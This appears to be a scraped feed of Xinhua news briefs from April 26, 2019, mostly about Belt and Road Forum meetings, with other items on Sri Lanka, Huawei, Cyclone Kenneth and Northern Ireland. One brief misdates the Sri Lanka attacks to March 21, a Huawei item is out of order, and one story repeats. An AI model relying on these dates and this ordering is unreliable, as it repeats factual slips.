brokered a deal last September to impose a demilitarized zone in Idlib and its surrounding areas. However, violations are still being reported on an almost daily basis. The extremist groups refused to withdraw from the zone. The Syrian government, while supporting the Russian-Turkish deal, said repeatedly that Idlib would inevitably return under the government control and the government's patience has limits. Source: Xinhua| 2019-04-26 20:49:52|Editor: xuxin Video Player Close MINSK, April 26 (Xinhua) -- Belarus will raise export duties on oil and its products that are exported outside the Eurasian Economic Union on May 1, the government said Friday. The duty on crude oil will increase from 97.4 to 104.6 U.S. dollars per tonne, and that on straight-run gasoline will rise from 53.5 to 57.5 dollars per tonne, the government said in a statement. The duties on light and medium distillates, diesel fuel, benzene, toluene, xylene, lubricants, and other oil will increase from 29.2 to 31.3 dollars per tonne. Those on crude oil and some categories of derivative oil products were previously revised upwards on April 1. Source: Xinhua| 2019-04-26 21:00:02|Editor: mingmei Video Player Close MANILA, April 26 (Xinhua) -- Countries and people around the world will stand to benefit most from the China-proposed Belt and Road Initiative (BRI) through cooperation, a senior Philippine finance official told Xinhua in an interview on Friday. Assistant Secretary of the Philippine Department of Finance Antonio Lambino hailed BRI, saying the initiative is perhaps "one of the most exciting global ideas that has come around over the past four decades." "This is a rising tide that will benefit all ships," Lambino said, adding that the initiative will make logistics costs cheaper for everybody and open markets, ideas and intercultural exchanges to all. "All of these things will flow more easily." No wonder, he said, BRI "has captured the imagination of millions of people" around the world. "They are watching this very closely because it is an exciting idea," he added. The BRI, proposed by China in 2013, aims at enhancing all-around connectivity through infrastructure construction, exploring new driving forces for the world economic growth, and building a new platform for world economic cooperation. So far, some 126 countries, including the Philippines, have signed cooperation documents on BRI with China. Lambino said the Philippines is grateful to be a part of the BRI. An archipelagic country, he said, infrastructure development is on top of the priorities of the Philippines. Infrastructure building is indeed at full throttle in the Philippines. Accelerating infrastructure is one of the Philippine government's policy agenda to usher in the country's "Golden Age of Infrastructure" through the Build, Build, Build program, a massive infrastructure development program. "As we build in the Philippines and as the BRI is built in the region, those two will connect and access to various markets, including China, our entrepreneurs, our large corporations, including small and medium enterprises can now take advantage of all these opportunities. This is a very good thing for the world," he added. Lambino stressed the need to harness the benefits of BRI, saying the initiative will make the infrastructure-building program "future-proof." "We need to future-proof all our endeavors because we owe this to the next generation. It's not just about our connectivity today, it's also connectivity for our children and the connectivity that our grandchildren will enjoy. So, being able to harness the power of knowledge and the economies that are built around knowledge is so important for the sustainability of our connectivity efforts," he said. Indeed, he said "there is certainly a very strong resonance between the priorities" of the BRI and the Philippine Build, Build, Build program. Now China has signed several infrastructure projects cooperation agreements with the Philippines, including the Chico River Pump Irrigation Project, which will provide water to 8,700 hectares of agricultural land in the northern Philippines. Lambino said the project will benefit 4,350 farming families and serve 21 villages in the two provinces in main Luzon island. Moreover, the financial official said BRI offers "a great opportunity for all of the countries to become more competitive in terms of accessing the Chinese market, one of the largest markets that you can imagine." "So being able to access a large market such as that of China is certainly a very big incentive for industry, for businesses, for entrepreneurs to really work very hard in order to produce products that the Chinese market will want to buy. So that is a positive signal as well as to industry and to entrepreneurship," Lambino said. The Philippine President Rodrigo Duterte with other leaders, including heads of state or government from a number of countries are currently attending the second Belt and Road Forum for International Cooperation in Beijing. Lambino said the Phillipines' cooperation with China on BRI will be "certainly deepening the relationship between our two countries." As part of the confidence measure, Lambino said the Philippines makes sure that any projects under BRI that Manila brings to the table "is solid in terms of the economic internal rate of return." "Then I think that will do justice to the relationship and make the relationship better over time," Lambino said. "It is very hopeful signal to all involved that there are benefits to cooperation and the social investments that are coming from this cooperation are the dividends that we will enjoy as peoples working together," he added. Source: Xinhua| 2019-04-26 21:15:15|Editor: xuxin Video Player Close ROME, April 26 (Xinhua) -- The tragic attacks earlier this week in Sri Lanka have cast a new light on vulnerabilities in Italy, according to Deputy Prime Minister and Minister of the Interior Matteo Salvini, who called for new security measures to make the country safer. Italy remains the only major European country that has not suffered a significant foreign terror attack since the Sept. 11, 2001 attacks in the United States, though several attack plans have been foiled by police in recent years. Salvini, who is also head of the nationalist, right-wing League political party, has instituted a strict closed-door policy for asylum seekers from Africa and the Middle East in part because of security concerns. But he said the country still faces significant security risks. "We have to organize ourselves so that what happened in Sri Lanka does not happen in Italy," Salvini said, calling Italy's law enforcement agencies "the best in the world." On March 21, a coordinated terror attack set off bombs in eight spots in different parts of Sri Lanka, including the capital. By last count no less than 250 people were killed and more than 500 injured. According to Alessandro Orsini, director of the Observatory on International Security at LUISS University in Rome, while the deadly attacks in Sri Lanka did not have a direct impact on Italy's security, it is important for Italy to remain vigilant. "We cannot know what is in the mind of a potential terrorist," Orsini told Xinhua. "There could be an attack tomorrow or we may not see one for many years." Other analysts pointed to the country's long history battling organized crime networks as a factor in its ability to foil terror plots. According to Sabrina Magris, president of Ecole Universitaire Internationale, which includes the Institute for Peace and Security, the new attention focused on terror threats as a result of the tragedies in Sri Lanka represents "a good opportunity for Italy to take some useful action" in order to improve security. "The challenges Italy faced the day before the attacks in Sri Lanka are the exact same threats the country faces now," Magris said in an interview. "But that doesn't mean the country should avoid taking any new action." Magris explained that there are two main terror threats for a country: those from international organizations and those from internal terror groups. She said international threats are easier to confront in that communications -- online or via telephone -- can be intercepted. Internal threats are more problematic. "The best thing law enforcement can do is to be vigilant," Magris said. "Look for things that are out of place, monitor people suspected of ties to terror groups in the past. It's a labor-intensive process." File photo taken on Oct. 14, 2018 shows F-35A fighter aircraft from the Japan Air Self-Defense Force taking part in a military review at the Ground Self-Defence Force's Asaka training ground in Asaka, Saitama prefecture. (Xinhua/AFP) WASHINGTON, April 25 (Xinhua) -- A privately owned deep-sea search vessel with U.S. Navy salvage team on board has departed for Okinawa, Japan to assist search operations for a downed Japanese F-35A fighter, U.S. Navy said in a statement Thursday. The Vessel, DSCV Van Gogh, is a multipurpose diving support and construction platform equipped with U.S. Navy remotely operated vehicles and a towed-pinger locator system, said the statement. A senior U.S. Navy official told CNN on Wednesday that search efforts are closing in on the aircraft's fuselage. "We have a pretty good idea where it is." A Japanese Air Self Defense Force (JASDF) F-35A stealth fighter went missing while on training approximately 85 miles (137 km) east of Misawa Air Base on April 9. Japan's Defense Ministry confirmed that the crash in waters off Japan's northeast was the first of an F-35A anywhere in the world. Source: Xinhua| 2019-04-26 21:50:43|Editor: yan Video Player Close Chinese President Xi Jinping (R) meets with Thai Prime Minister Prayut Chan-o-cha, who is here to attend the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 26, 2019. (Xinhua/Zhang Ling) BEIJING, April 26 (Xinhua) -- Chinese President Xi Jinping on Friday met with Thai Prime Minister Prayut Chan-o-cha, who is here to attend the Second Belt and Road Forum for International Cooperation. Xi said China and Thailand are close neighbors, and the joint development of the Belt and Road Initiative (BRI) makes the already amicable bilateral relations even better. The two countries should carry forward the traditional friendship and enhance high-level contacts, so as to guide the sound development of the bilateral ties, he said. China will continue to support Thailand's efforts in maintaining domestic stability and promoting national development, and is willing to strengthen the alignment of the two countries' development strategies and advance high-quality BRI cooperation, to give a strong boost to the bilateral ties, Xi said. China supports Thailand's role as the rotating chair of the Association of Southeast Asian Nations (ASEAN) this year, Xi said, adding that China is willing to deeply align the BRI with the ASEAN's connectivity plan. Prayut spoke highly of China's achievements in fields including economic growth, poverty relief and environmental protection. He said Thailand benefited greatly from the infrastructure and data connectivity since the inception of the BRI almost six years ago, adding that Thailand will continue to support and actively engage in the BRI cooperation. He told lawmakers in the House of Commons that "there has not been a final decision made on this subject." Wright said government officials and U.K. intelligence agencies are still carrying out a review on how best to strike the "difficult balance between security and prosperity." The British government has not yet decided whether to allow China's Huawei to supply parts for the U.K.'s new 5G wireless network, Digital Secretary Jeremy Wright said Thursday, as he condemned leaks from private government discussions on the issue. The United States has been lobbying allies to exclude Huawei from all 5G networks, noting that the Chinese government can force the company to give it backdoor access to data on its networks. Huawei officials have denied that the company is a security risk, saying that they have no links to the Chinese government and operate like any other international company. Wright said it was unrealistic to try to eliminate all Chinese equipment from U.K. telecoms systems. "Huawei is a significant player in this market; there are very few others," he said. Wright also warned lawmakers against leaking details of meetings of the National Security Council, after the Daily Telegraph newspaper reported Wednesday that the council had approved Huawei's involvement in "non-core" parts of the 5G network. "Officials, including the security and intelligence agencies, need to feel that they can give advice to ministers which ministers will treat seriously and keep private," Wright said. "If they do not feel that, they will not give us that advice and government will be worse as a result." Labour Party lawmaker Jo Platt said the government should hold a thorough inquiry into the leak, which comes amid a Brexit-fueled breakdown in government discipline. With Prime Minister Theresa May weakened by her failure to take Britain out of the European Union, multiple ministers are positioning themselves to try to replace her. Platt said suggestions that a minister leaked the information as part of Conservative leadership jockeying were "truly shocking." "Critical issues of national security should be handled with utmost care, not used as political ammunition in a Tory Party civil war," she said. Source: Xinhua| 2019-04-26 22:10:52|Editor: Li Xia Video Player Close Chinese Premier Li Keqiang (R) meets with United Nations (UN) Secretary-General Antonio Guterres, who is here attending the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 26, 2019. (Xinhua/Liu Weibing) BEIJING, April 26 (Xinhua) -- Chinese Premier Li Keqiang on Friday met with United Nations Secretary-General Antonio Guterres, who is here attending the Second Belt and Road Forum for International Cooperation. China, as a permanent member of the UN Security Council and the largest developing country, stands firm for multilateralism, upholds the international system with the UN at its core, and supports the multilateral trading system with the World Trade Organization at its center, Li said. China supports the UN in playing its important role in international affairs, and is willing to maintain close cooperation with the UN and its institutions, he added. Guterres said the Belt and Road Initiative proposed by China will contribute to advancing the UN development goals and effectively addressing global challenges, calling it an opportunity for all sides. Source: Xinhua| 2019-04-26 22:26:11|Editor: xuxin Video Player Close HANOI, April 26 (Xinhua) -- The ninth Asia-Oceania Esperanto Congress kicked off in Vietnam's central Da Nang city on Friday, with the participation of nearly 300 delegates from 22 countries. During the two-day congress, the delegates are to discuss methods to further Esperanto and connect Esperanto movements worldwide, for peace, cooperation and sustainable development, Vietnam News Agency reported. Established in 1956, the Vietnam Esperanto Association currently has about 200 members. Esperanto is a constructed language which was created in the late 19th century by a Polish-Jewish ophthalmologist. Source: Xinhua| 2019-04-26 22:31:18|Editor: yan Video Player Close HEFEI, April 26 (Xinhua) -- The steel structures for a new rail-road bridge over the Yangtze River in the city of Wuhu, east China's Anhui Province, joined together Friday, paving the way for the operation of the Shangqiu-Hefei-Hangzhou high-speed railway in 2020. Spanning 588 meters between the two main towers, the double-decker cable-stayed bridge has eight lanes for cars on the upper deck and four rail tracks on the lower deck. Two tracks are specifically designed for the Shangqiu-Hefei-Hangzhou high-speed railway, while the other two tracks are reserved for inter-city railways. The construction of the bridge, a key project for the Shangqiu-Hefei-Hangzhou high-speed railway, started at the end of 2014. The railway is scheduled to open to traffic in 2020. With a designed speed of 350 km per hour, this railway will link the city of Shangqiu in central China's Henan Province, with Hefei, capital of Anhui Province, and Hangzhou, capital of east China's Zhejiang Province. Source: Xinhua| 2019-04-26 22:31:25|Editor: yan Video Player Close LONDON, April 26 (Xinhua) -- "The third-party market cooperation promoted by the Belt and Road Initiative (BRI) has enabled China, France and Britain to achieve 'triple-win'," said Zheng Dongshan, CEO of General Nuclear International, the UK subsidiary of China General Nuclear Power Corporation (CGN), in a recent interview with Xinhua. To jointly develop UK nuclear power market, CGN and Electricite de France (EDF), a French electric utility company, have established four joint venture companies in this country since 2015, said Zheng. CGN and EDF have been working closely together for more than 30 years on a range of projects, including nuclear development and construction in China. The partnership in the UK is a culmination of the two companies' cooperation. They formed joint ventures to build the Hinkley Point C (HPC) nuclear power station in Somerset and to develop Sizewell C in Suffolk and Bradwell B in Essex. They have also jointly undertaken the Generic Design Assessment process for UK HPR1000 (Hualong) nuclear reactor technology since January 2017. The flagship nuclear power projects in the UK run by CGN and EDF benefit Britain, France and China in different ways, Zheng told Xinhua. The UK is accelerating its transition towards a low-carbon economy with the goal of generating 25 percent of its energy requirements from renewable, sustainable sources. After the HPC project is completed, it will provide power to 7 percent of UK households, delivering secure and affordable low-carbon electricity for 60 years. "The projects will meet UK renewable energy demand and benefit from its Guarantees Scheme to support private investment in infrastructure projects. They also combine the expertise and experiences of CGN and EDF in technology, equipment, as well as project development and construction," Zheng said, "in any case, all the three countries are winners." In the course of their cooperation, the two parties have blended their strengths. Take the HPC project as an example, Zheng said, "more than 60 employees from CGN in the project are currently engaged in the project design process, and we have brought along our 30+ years of experiences in nuclear power station construction to this UK project." To build a world-class company, CGN is working hard to enhance its competitiveness in overseas markets, especially in developed countries such as the UK. The company is committed to providing UK consumers with safe, reliable and sustainable energy. "We bring over our experience from projects such as Taishan nuclear Power Plant in China, to build UK projects with safe, economic and mature technology." said Zheng. Source: Xinhua| 2019-04-26 22:36:33|Editor: yan Video Player Close Chinese President Xi Jinping (R) meets with Greek Prime Minister Alexis Tsipras who is attending the Second Belt and Road Forum for International Cooperation in Beijing, capital of China, April 26, 2019. (Xinhua/Zhang Ling) BEIJING, April 26 (Xinhua) -- Chinese President Xi Jinping on Friday met with Greek Prime Minister Alexis Tsipras, who is attending the Second Belt and Road Forum for International Cooperation in Beijing. Xi said that Greece sets a model for European countries to carry out mutually beneficial cooperation with China and joint development of the Belt and Road Initiative (BRI). China is willing to maintain high-level exchanges and mutual respect and trust with Greece, fully tap the value of profound historical and cultural heritage of the two countries, promote dialogue among civilizations, and strengthen coordination and cooperation in international affairs, Xi said. China is also ready to strengthen the alignment of the BRI with Greece's strategy to build an important international logistics hub, Xi noted. Tsipras described the BRI as a great proposal which reflects the wisdom of ancient Chinese philosophy and embodies deliberation on the future of the world, thus serving as a bridge between East and West and an opportunity for all countries to develop. Greece has actively supported and participated in the BRI development from the very beginning because the country, like China with a long history of civilization, is able to understand the initiative from the perspective of history. The Greek side is glad to take advantage of the BRI and the cooperation platform between China and central and eastern European countries to develop strategic relations with China, and support deepening cooperation between Europe and China, he added. Source: Xinhua| 2019-04-26 22:41:44|Editor: yan Video Player Close DAR ES SALAAM, April 26 (Xinhua) -- Tanzania's weather authorities declared on Friday that the country's southern regions were now spared from threats of Tropical Cyclone Kenneth after it had shifted southwards from the Indian Ocean and made landfall on mainland Mozambique. Agnes Kijazi, the Director General of the Tanzania Meteorological Agency (TMA), said the Cyclone which was expected to hit Indian Ocean coastal regions of Mtwara and Lindi on Thursday afternoon made landfall on mainland Mozambique on Wednesday evening. "The two southern regions are now spared from the threats of the Cyclone but I am still appealing to relevant authorities and the public to continue taking protective measures," she said in a live interview with state-owned Tanzania Broadcasting Corporation (TBC). Kijazi said prior to making landfall in Mozambique, Tropical Cyclone Kenneth passed through the Comoros, hitting the northern Ngazidja Island where it reportedly caused extensive damage to houses. She thanked authorities, non-governmental organizations and members of the public for heeding to advisory alerts issued by the weather agency. However, Kijazi said authorities and members of the public in areas that were expected to be hit by the Cyclone should not relax. "They should continue to be on alert because the Cyclone could retreat to the ocean in a week or two with vengeance," she said. She said the Cyclone was forecasted to bring heavy rains, with over 500mm of rainfall expected from April 25 through April 30, adding: "There is a high risk of flash flooding and landslides." Kijazi said an increase in cloud formation was already being witnessed, and an increase of rain was expected in Dar es Salaam, Tanga, Pemba, Lindi and Mtwara regions, the south coast of the country and around Lake Victoria. On Thursday, the Tanzanian government directed authorities in Mtwara and Lindi regions to suspend air and marine transport in the Indian Ocean as safety measures against the Tropical Cyclone Kenneth. Jenista Mhagama, the Minister of State in the Prime Minister's Office responsible for Policy, Parliamentary Affairs, Labor, Employment, Youth and the Disabled, made the directive in the National Assembly in the capital Dodoma. "Authorities in Mtwara, Lindi and Ruvuma regions should also suspend fishing activities in the ocean pending weather updates from relevant weather agencies," she told the august House. Mhagama also directed authorities to shift people from coastal areas of the Indian Ocean to higher ground to avoid catastrophic situations. On Thursday, Mtwara region authorities directed that schools and offices remain closed after the country's weather agency had reported the possibility of landfall Tropical Cyclone Kenneth. Gelasius Byakanwa, Mtwara regional commissioner, said the decision was aimed at ensuring the safety of people in the southern region. Source: Xinhua| 2019-04-26 22:46:48|Editor: yan Video Player Close Chinese President Xi Jinping (R) meets with Brunei's Sultan Haji Hassanal Bolkiah, who is attending the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 26, 2019. (Xinhua/Ding Haitao) BEIJING, April 26 (Xinhua) -- Chinese President Xi Jinping on Friday met with Brunei's Sultan Haji Hassanal Bolkiah, who is attending the Second Belt and Road Forum for International Cooperation in Beijing. "During the past two years, we successfully exchanged visits, and the bilateral relations have been upgraded to a strategic cooperative partnership and made great strides," Xi said. The two sides should step up the alignment of the Belt and Road Initiative (BRI) with Brunei's Wawasan 2035, a strategy for economic diversification, and implement key cooperation projects, he said. They should also deepen cooperation in the fields of economy, trade, investment, agriculture and fisheries, and share experience in developing emerging industries such as digital economy and e-commerce, Xi said. "To strengthen people-to-people and cultural exchanges, I would like to join you in proclaiming 2020 the Year of Tourism Between China and Brunei," Xi said. Efforts should also be made to align the BRI with the ASEAN connectivity master plan to promote regional connectivity and development, Xi said, adding that both countries should work closely together and support multilateralism. Hassanal said China's further reform and opening-up and its commitment to upholding multilateral system will help promote world development and prosperity. Brunei is ready to work with China to promote the synergy of Wawasan 2035 and the BRI, expand cooperation in various fields as well as people-to-people and cultural exchanges, and inject more vitality into bilateral relations, Hassanal said. Source: Xinhua| 2019-04-26 22:46:50|Editor: yan Video Player Close COLOMBO, April 26 (Xinhua) -- Sri Lanka's Prime Minister Ranil Wickremesinghe on Friday apologized to the nation for the failure to protect victims from Sunday's explosions which killed 253 people and injured over 500. In a statement on his official twitter account, Wickremesinghe said "We take collective responsibility and apologize to our fellow citizens for our failure to protect victims of these tragic events." "We pledge to rebuild our churches, revive our economy, and take all measures to prevent terrorism, with the support of the international community," he added. A day after the attacks, Wickremesinghe said the police had received prior information of possible terror attacks but had failed to take adequate measures against the threats. Wickremesinghe said he and his cabinet of ministers had not been informed of the prior threats. President Maithripala Sirisena, in a media briefing on Friday morning told journalists that Defense Secretary Hemasiri Fernando and Police Chief Pujith Jayasundara had received prior warnings from state intelligence over possible attacks but had failed to brief him as well. He blamed both officials for severely neglecting their duties. Fernando resigned from his post on Thursday following a request by the president. The president has requested the police chief to resign as well. Source: Xinhua| 2019-04-26 22:52:01|Editor: yan Video Player Close DAR ES SALAAM, April 26 (Xinhua) -- Tanzanian President John Magufuli on Friday pardoned 3,540 prisoners as the east African nation marked its 55th anniversary of the Union with the Zanzibar archipelago. Zanzibar merged with Tanganyika on April 26, 1964 to form the United Republic of Tanzania, a deal which was witnessed by Zanzibar's founding President Abeid Amani Karume and Tanzania's founding President Julius Nyerere. A statement issued by the Ministry of Home Affairs in the commercial capital Dar es Salaam said: "It is the government's expectations that the pardoned prisoners will rejoin and cooperate with members of the society in nation building." "We also expect them to avoid committing offenses that will take them back to prison," added the statement signed by Jacob Kingu, the Permanent Secretary in the Ministry of Home Affairs. President Magufuli issued the pardon to prisoners in accordance with authorities conferred to him under Article 45 (1) (d) of the Constitution of the United Republic of Tanzania. The statement said beneficiaries of pardon included people convicted before March 15, 2019, those suffering from chronic diseases including HIV/AIDs, tuberculosis and cancer and have been medically diagnosed. Other beneficiaries of the pardon were prisoners above 70 years old, those with physical and mental disabilities, female prisoners convicted with pregnancy and those bearing young babies, said the statement. The statement said people convicted for murder, suicide and infanticide, those sentenced for life imprisonment and later changed to normal sentences and convicts of drug trafficking and abuse were not recipients of the pardon. The statement added that people convicted for indecent assault, rape, defilement and violence against children, convicts of car, motorcycle theft, destruction of infrastructure and those serving jail terms under parole will also not benefit from the pardon. Convicts of office abuse, money laundering and economic sabotage, previous beneficiaries of presidential pardons and those convicted for preventing their children from accessing education will also not be beneficiaries of the pardon, according to the statement. Source: Xinhua| 2019-04-26 23:07:09|Editor: yan Video Player Close LONDON, April 26 (Xinhua) -- The British and Irish governments on Friday announced a fresh round of political talks in a new attempt to break the deadlock that has seen the devolved government in Britain's Northern Ireland suspended for two years. British Prime Minister Theresa May and Irish Taoiseach (Prime Minister) Leo Varadkar made the announcement that all-party discussions are expected to start after next week's British local council elections. The move follows the shooting dead last week of 29-years-old journalist Lyra McKee in Londonderry, a border city in Northern Ireland, by a group known as the New IRA. In their joint statement the two politicians said: "We have agreed to establish a new process of political talks, involving all the main political parties in Northern Ireland, together with the UK and Irish Governments." "The aim of these talks is quickly to re-establish to full operation the democratic institutions of the Belfast/Good Friday Agreement, the Northern Ireland Executive, Assembly and North-South Ministerial Council, so that they can effectively serve all of the people for the future." They said they have asked Britain's Secretary of State for Northern Ireland Karen Bradley and Ireland's Foreign Affairs Minister Simon Coveney to set out a proposed approach and to commence the talks process as soon as possible after the May 2 elections in Northern Ireland. May and Varadkar added: "We understand the complexity of the underlying concerns of all parties, and the need for renewed trust, mutual respect, generosity and new thinking to resolve the issues." "As Prime Minister and Taoiseach (Irish Prime Minister), we are determined to work together to ensure this process comes to a successful conclusion." During the funeral service for the slain writer at Belfast Cathedral on Wednesday, Father Martin Magill appealed to political leaders to return to work at Stormont, seat of the Northern Ireland devolved assembly. The priest told mourners, which included May and other political leaders, that it should not take the death of a young woman to bring them together. Power sharing in Northern Ireland collapsed over a major fall-out between the two main parties, the Democratic Unionist Party (DUP) and the pro-republican Sinn Fein. The leader of Sinn Fein Lou McDonald told the Irish broadcaster RTE that her party was ready to play a full part in a serious and meaningful talks process. The Sinn Fein leader added that the British and Irish governments needed to intervene to resolve a stalemate between the parties on a number of crucial issues, such as same-sex marriage and the Irish Language Act. Detained former Nissan chairman Carlos Ghosn paid 500 million yen ($4.5 million) in bail, the Tokyo District Court said Thursday, signaling he would likely soon be released. Ghosn was arrested in November, released on bail in March but re-arrested in April on new allegations and taken to the Tokyo Detention House. He has been charged with underreporting his post-retirement compensation and breach of trust in diverting Nissan money and allegedly having it shoulder his personal investment losses. Ghosn, 65, a Brazilian-born Frenchman of Lebanese ancestry, says he is innocent. He contends the compensation allegedly underreported was never decided on or paid and the payments considered to be a breach of trust were legitimate. The latest bail agreement follows 1 billion yen ($9 million) in bail that Ghosn posted for his earlier release. For that release, his defense team offered special conditions such installing a surveillance camera at the entrance to a specified residence for the former star executive and promising to use a cellphone and the internet only under specified conditions. The latest release requires similar restrictions, including not leaving the country, according to the court. Source: Xinhua| 2019-04-26 23:07:11|Editor: Li Xia Video Player Close Chinese Premier Li Keqiang (R) meets with Greek Prime Minister Alexis Tsipras, who is attending the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 26, 2019. (Xinhua/Liu Weibing) BEIJING, April 26 (Xinhua) -- Chinese Premier Li Keqiang on Friday met with Greek Prime Minister Alexis Tsipras, who is attending the Second Belt and Road Forum for International Cooperation in Beijing. Li voiced China's support for aligning the Belt and Road Initiative (BRI) with Greece's development strategy and strengthening cooperation in finance, technology and digital economy, adding that China is willing to expand import of Greek quality produce. China is always committed to supporting the European integration process and willing to see a united, prosperous and stable Europe, which not only benefits China and Europe, but also the rest of the world, Li said. Tsipras said China is not only a growth engine for the global economy, but also a huge market, noting that Greece is willing to develop more balanced trade relations with China and welcomes Chinese enterprises to expand investment in Greece. Source: Xinhua| 2019-04-26 23:12:13|Editor: yan Video Player Close GAZA, April 26 (Xinhua) -- At least five Palestinians were injured on Friday during clashes with Israeli soldiers in eastern Gaza Strip, close to the border with Israel, medics said. The clashes were part of the weekly anti-Israel rallies, better known as the "Great March of Return" which started in late March last year. Ashraf al-Qedra, spokesman of the Health Ministry in Gaza, told reporters that the five injured demonstrators were sent to the hospital after they were wounded by Israeli soldiers' gunfire. He added that dozens of others suffered suffocation after inhaling tear gas fired by the Israeli soldiers, and they were treated by field paramedics. The Highest Commission of the Great March of Return had earlier called on people in Gaza to join the protest, which urged putting an end to the internal Palestinian division and called for unity. "Achieving Palestinian unity is the best option for the Palestinians to face the current critical political situation and protect the Palestinian cause from the U.S. plan Deal of the Century," said the commission. The Palestinians have been divided since 2007, when Hamas movement seized control of the Gaza Strip, while the West Bank remained under the rule of Palestinian President Mahmoud Abbas' Fatah Party. The Israeli blockade and the internal Palestinian division between Hamas and Fatah have negatively influenced all aspects of life, mainly in the Gaza Strip. During more than a year of weekly protests in eastern Gaza Strip, the Israeli army has shot and killed 272 Palestinians and wounded more than 16,000 others, according to Health Ministry officials. Source: Xinhua| 2019-04-26 23:12:15|Editor: Li Xia Video Player Close Chinese Premier Li Keqiang (R) meets with Papua New Guinea (PNG) Prime Minister Peter O'Neill, who is attending the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 26, 2019. (Xinhua/Liu Weibing) BEIJING, April 26 (Xinhua) -- Chinese Premier Li Keqiang on Friday met with Papua New Guinea (PNG) Prime Minister Peter O'Neill, who is attending the Second Belt and Road Forum for International Cooperation in Beijing. Li said China is willing to align the Belt and Road Initiative (BRI) with PNG's development strategies, expand pragmatic cooperation in various fields, accelerate the joint feasibility study on the bilateral free trade agreement, and better achieve mutual benefits. China hopes that PNG will play a constructive leading role among the Pacific island countries and promote the deepening of the overall relations between China and the Pacific island countries, Li said. O'Neill thanked China for its support for PNG's development and praised the BRI which has been a strong boost for PNG's development. PNG adheres to the one-China policy and is willing to enhance cooperation in economy, trade and investment with China, O'Neill said, adding that PNG will work hard to complete negotiations on the bilateral free trade agreement and jointly enhance the comprehensive strategic partnership between the two countries. After the meeting, they witnessed the signing of cooperation documents between the two sides. Source: Xinhua| 2019-04-26 23:17:23|Editor: Li Xia Video Player Close Li Zhanshu (R), a member of the Standing Committee of the Political Bureau of the Communist Party of China Central Committee and chairman of the Standing Committee of the National People's Congress, meets with Austrian Chancellor Sebastian Kurz, who is attending the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 26, 2019. (Xinhua/Yin Bogu) BEIJING, April 26 (Xinhua) -- Chinese top legislator Li Zhanshu on Friday met with Austrian Chancellor Sebastian Kurz, who is attending the Second Belt and Road Forum for International Cooperation in Beijing. Li, chairman of the Standing Committee of the National People's Congress, said that the Chinese side is willing to work together with the Austrian side to better implement the consensus reached by the heads of state of the two countries and the results achieved during the forum. China is also ready to strengthen cooperation with Austria in economy, trade, people-to-people and cultural exchanges, and cooperation between legislatures, said Li. Kurz said the Austrian side is glad to work with China to promote the sustainable development of Austria-China and Europe-China cooperation within the Belt and Road framework. Source: Xinhua| 2019-04-26 23:17:24|Editor: yan Video Player Close Chinese President Xi Jinping addresses a banquet hosted by him and his wife Peng Liyuan in honor of guests attending the Second Belt and Road Forum for International Cooperation in Beijing, capital of China, April 26, 2019. (Xinhua/Huang Jingwen) BEIJING, April 26 (Xinhua) -- Chinese President Xi Jinping and his wife Peng Liyuan hosted a banquet Friday evening in honor of guests attending the Second Belt and Road Forum for International Cooperation in Beijing. "On behalf of the Chinese government and Chinese people, my wife and also in my own name, let me extend warm welcome to all guests," Xi said while proposing a toast at the banquet. "Today's gathering makes us recall the beautiful memories in our hearts," Xi said, adding that "no matter how the international environment changes, the sincere friendship will last forever and the mutually beneficial cooperation will be the eternal melody in our hearts." The occasion inspires the participants via exchanges of ideas and insights, he said, calling for fostering global partnerships and creating a bright future of common development. "Today's gathering reminds us of the heavy responsibilities on our shoulders," Xi told the guests that as the world is now undergoing profound changes unseen in a century, "may we all live up to our missions and the times." "We should all have faith that people of all countries deserve a better future, and the joint building of the Belt and Road will surely bring about a better world," he said. Li Keqiang, Li Zhanshu, Wang Yang, Wang Huning, Zhao Leji, Han Zheng and Wang Qishan also attended the banquet. After the banquet, Xi and his wife accompanied the guests in watching a gala. Source: Xinhua| 2019-04-26 23:27:40|Editor: yan Video Player Close WASHINGTON, April 26 (Xinhua) -- U.S. President Donald Trump on Friday expressed his appreciation over Russian President Vladimir Putin's comments on the denuclearization of the Korean Peninsula after Putin's meeting with Kim Jong Un, top leader of the Democratic People's Republic of Korea (DPRK). "I appreciated President Putin's statement yesterday," Trump told reporters at the White House on Friday morning. Following a meeting with Kim, Putin said at a press conference on Thursday that there is no alternative to the peaceful solution of the nuclear and other issues of the Korean Peninsula, adding that Russia is ready to contribute to reducing tensions in the region. Speaking to reporters, Trump said that the United States is doing "very well" with the DPRK. "We're getting a deal done with North Korea (the DPRK)," he said. Trump also said that he appreciated the efforts from Russia and China on the denuclearization of the Korean Peninsula. Kim had his first meeting with Putin in the Russian city of Vladivostok on Thursday. The two leaders discussed a range of topics, including the denuclearization of the Korean Peninsula, bilateral relations and relations with the United States. The Putin-Kim summit came at a time when tensions are growing between the DPRK and the United States. The top DPRK leader has met Trump twice. Their second summit ended in Vietnam's Hanoi on Feb. 28 without an agreement. Russian President Vladimir Putin (R) shakes hands with top leader of the Democratic People's Republic of Korea (DPRK) Kim Jong Un in Vladivostok, Russia, April 25, 2019. (Xinhua/Sputnik) WASHINGTON, April 26 (Xinhua) -- U.S. President Donald Trump on Friday expressed his appreciation of Russian President Vladimir Putin's comments on the denuclearization of the Korean Peninsula after Putin's meeting with Kim Jong Un, top leader of the Democratic People's Republic of Korea (DPRK). "I appreciated President Putin's statement yesterday," Trump told reporters at the White House on Friday morning. Following a meeting with Kim, Putin said at a press conference on Thursday that there is no alternative to the peaceful solution of the nuclear and other issues of the Korean Peninsula, adding that Russia is ready to contribute to reducing tensions in the region. Speaking to reporters, Trump said that the United States is doing "very well" with the DPRK. "We're getting a deal done with North Korea (the DPRK)," he said. Trump also said that he appreciated the efforts from Russia and China on the denuclearization of the Korean Peninsula. Kim had his first meeting with Putin in the Russian city of Vladivostok on Thursday. The two leaders discussed a range of topics, including the denuclearization of the Korean Peninsula, bilateral relations and relations with the United States. The Putin-Kim summit came at a time when tensions are growing between the DPRK and the United States. The top DPRK leader has met Trump twice. Their second summit ended in Vietnam's Hanoi on Feb. 28 without an agreement. Source: Xinhua| 2019-04-26 23:58:13|Editor: yan Video Player Close Chinese President Xi Jinping (R) meets with United Nations (UN) Secretary-General Antonio Guterres, who is attending the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 26, 2019. (Xinhua/Ding Haitao) BEIJING, April 26 (Xinhua) -- Chinese President Xi 